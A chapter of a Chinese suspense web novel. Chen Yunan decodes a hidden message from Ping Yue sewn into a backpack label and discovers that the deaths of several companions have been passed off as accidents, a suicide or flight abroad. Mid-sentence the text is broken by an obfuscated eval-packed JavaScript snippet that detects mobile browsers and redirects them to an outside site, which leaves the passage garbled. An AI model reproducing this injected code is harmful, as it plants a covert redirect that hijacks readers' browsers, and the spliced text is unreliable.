陈宇南无聊地看她忙碌,看着看着觉得那东西有点眼熟。一团黑色,几根带子垂吊下来,像……登山包啊,他背回来的那个登山包。佣人横着挂的,难怪他看了半天没看出来。 “不是让你扔了吗?”陈宇南皱眉。 他不想让任何和山上有关的东西留在家里,留着看着,他就会想起山上发生的事。想起平月,想起那些死掉的人,想起自己是帮凶。 梁威他们死了,警察肯定会追查,总有一天要查到他这里来。他没有刻意去想警察来找他他该怎么办,爸妈会怎么看他,不敢去想,只是抓紧时间做一些自己想做的事,像曾经的自己,睡睡觉觉,写写歌,喝点咖啡——他现在不喝咖啡了,改喝茶了——他在渐渐变得和以前不一样,他想变成另一个陈宇南,这样,似乎那些事就和他无关了。 佣人说:“它是好的,丢了可惜。” 这家主人很好说话的,以前有想丢掉的衣服之类的东西,都愿意给佣人带回去。所以她擅自做主为自己留下了这个包。 陈宇南想说什么,佣人忽然开口:“对了,刚才刷包的时候,里面写了一行字,你要吗?不要我就拿去丢了。” 陈宇南没反应过来:“什么?” 佣人:“标签上写了字。” 她从围裙的兜里摸了摸,摸出一张小小的标,登山包的标。就像衣服领口的标,被剪掉,正摊在她手里。 她递给陈宇南,“不知道你要不要,没敢扔。” 那是灰色的标,上面印着登山包的字母。展开标,就能看见里面细小如蚂蚁的字,写着——三月无电,报案。寻人领尸,死者,平月。 陈宇南拿着那张小小的标,看着小小的字,脑袋一团糊浆。 这什么意思? 还有…… “你怎么知道这上面有字?”他在山上的最后几天,干粮全吃完了的那几天,他把这个登山包从里往外来回翻了几遍,恨不得从里面再找出一包藏起来的饼干,结果什么都没找到。 他家佣人……? 佣人尴尬:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262141|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不喜欢东西上有标。”有些人就是这样,买回去的新衣服,第一件事就是将领口的标剪掉,“本来想扔了,但看见上面有字,写得这么隐秘肯定是重要字……放心,我没看懂,现在都忘记有几个字啦。” 她瞟了陈宇南一眼,心想谁家正常人搁标里写字?标是对折后缝在包内底部缝隙的,那字写在对折起来的标的最内侧,但凡不把标拆了,就是长十双眼睛都不一定能看见标内有字。 她就觉得能搁标里偷偷摸摸写字的,肯定不是什么简单事,怕这家小主人忘记,专门留着多问一嘴,省得后面来找她要包她拿不出来。 现在工作不好找,这家工资开得高,主人家又好说话,她还不想被辞退。 陈宇南捏着那张标,说了声谢谢啊,让她去忙。 后花园静下来,夕阳完全落进地平线,外面的路灯幽幽亮着。他捏着那张标,有点尴尬——平月好像很看得起他,觉得他一定能看见她留下的东西,也能看懂。 实际上,陈宇南明白自己很蠢,和平月比起来,他真的挺蠢的。内存卡弄掉了,这个藏在包里的字条也差点被他弄掉了。他回头看室内忙着做完饭的佣人,忽然觉得自己连个佣人都不如…… 但是,这是什么意思? 三月无电,报案。寻人领尸,死者,平月。 三月无电——明年三月份没电? 报案——报什么案?打电话告诉警察停电了?还是报山上的杀人案?为什么要报?一次性失踪八个人,警察应该很快就会查到吧? 寻人领尸——让他找悦凌凌他们的家人去山上认领他们的尸体? 死者——谁? 平月——平月怎么了? 陈宇南一个头十个大,他想不明白,坐在那里一个多小时都没想明白,想得脑袋疼。 他回头往客厅看,佣人正往桌上摆晚餐。 忽然,他起身进了客厅,叫住那个佣人,“问你个问题,什么是‘三月无电’?” 佣人很认真地思考半响,问:“这是你写的新歌吗?” 陈宇南:“……” “好了,没事了,你继续忙。” 晚上,陈宇南和父母吃饭,母亲问他怎么这么早回来,他随口敷衍说没意思,半途溜了,和朋友去爬了个山。 母亲没追问,只是看了他一眼,让他好好休息别太累了。 陈宇南吃完饭,回了楼上,躺在床上拿着那张标看来看去,看不出另一层意思。 他开始怀疑自己考上本科有没有父母的暗箱操作,怀疑不过三秒,心想算了,反正他本科读完了,已经是板上钉钉的学历,改变不了了。 翻来滚去,迷迷糊糊要睡着之际,忽然浑身一震,翻身坐起—— 三个月没来电话就报案,寻人领尸案,死者:平月。 他被自己电光火石之间的解读吓得呆坐在床中央,然后,再也没法解读还有没有别的意思了。因为他非常肯定的知道,那几个字就是这个意思,就是这个意思。 他震惊的是,寻人领尸,一般都是家人去领尸,平月的家人……不是都死了吗? 而且这个领尸……领平月的尸,平月她……是死了吗? 是她知道自己会死,所以这样写吗? 她怎么知道自己会死? 后背爬上一层冷汗,刺得人发毛。 陈宇南忽然觉得,这个房子,阴气森森的。 …… 第二天,陈宇南专门选了个大中午的时间,口罩、帽子、墨镜一应俱全,全副武装地出了门。 他专挑人多的道开,等红绿灯时,从车玻璃的倒影里看见包裹严实的自己,忽然感到傻逼。本来就是因为怕被杀而选择光明正大出门,裹成这样被人桶了,看监控都看不出来他是谁,这还怎么查? 他把口罩取了,墨镜摘了,帽子扔一旁,对着后视镜薅薅头发,对,就是这样,光明正大露出自己的脸,对准摄像头,对准每一个监控。这样就算他遇害了,警察还能查查找找。 他去了警察局,梁威上班的那个警察局,他在饭桌上听张情提过,梁威在这里上班。 在公告栏的侧面,贴着一片警员的照片,梁威就在其中。 有个警员路过,问他找谁? 陈宇南指着梁威的照片,“他在吗?” 警员疑惑地打量陈宇南,“你们什么关系?” 陈宇南说:“他刮了我的车,一直不去处理,今天这边忙点事,顺道问问。” 警员:“什么时候的事?” “上上个月了。没走保险,我的车修了两万多呢。”他指指外面的车,明晃晃的宝马标志,尾部还带着“L”标识,标准的进口车。 警员脸色有点不好,说:“梁威去世了。” 陈宇南直接一个大震惊:“啊?” 警员说,梁威在六月份请了两个月的假,说是要去外地,所长批了。但上个月,梁威老婆到局里说梁威死了,说梁威和人去爬山,从山上摔下来,失血过多,当场死亡。 警员说,葬礼都办完了。 陈宇南浑浑噩噩走了,他坐在车里,有点发懵。明明是被杀死的啊,怎么就变成失足坠山死了? 他往回开车,路过电视台时拐了进去,去电视台找周志,得到的回复是,周志死了,在家里发现的,自杀,开了天然气自杀。 陈宇南又去找钱晓文。车刚出城,他觉得自己不能这样去,钱晓文在郊区的殡仪馆,太吓人了。而且他找了梁威,找了周志,两个人都死了,他再去找钱晓文,如果钱晓文也死了,那他的找寻显得嫌疑格外大。 哪有正常人去找一个死一个的? 陈宇南掉头去了商场,用商场老式座机给殡仪馆打电话,说之前约了钱晓文,但联系不上人。 对方说,钱晓文请假了。陈宇南问什么时候回来。对方说,不回来了啊,你约她做什么啊?陈宇南说同学聚会啊。对方诧异:你是她同学你还不知道啊?钱晓文她哪儿是请假啊,铁定跟她男朋友跑国外去了,她男朋友欠了那么多钱,她又还不上,不跑做什么。 陈宇南问,没报警啊。 对方说,报什么警啊,又不是失踪,她主动请假走的。大家都知道她男朋友逃国外去了,她不跟着去干嘛,她又离不开她男朋友。 陈宇南挂了电话。他明白了,梁威、周志、钱晓文、张情、赵淑萍、余有为、悦凌凌这些死掉的人,在这座城市里,都用一种其妙又合理的方式死去了。 不会有人追踪,不会有警察调查。 陈宇南是安全的,他再也不用提心吊胆怕警察找上门。唯一担心的事只有一件—— 平月还活着吗?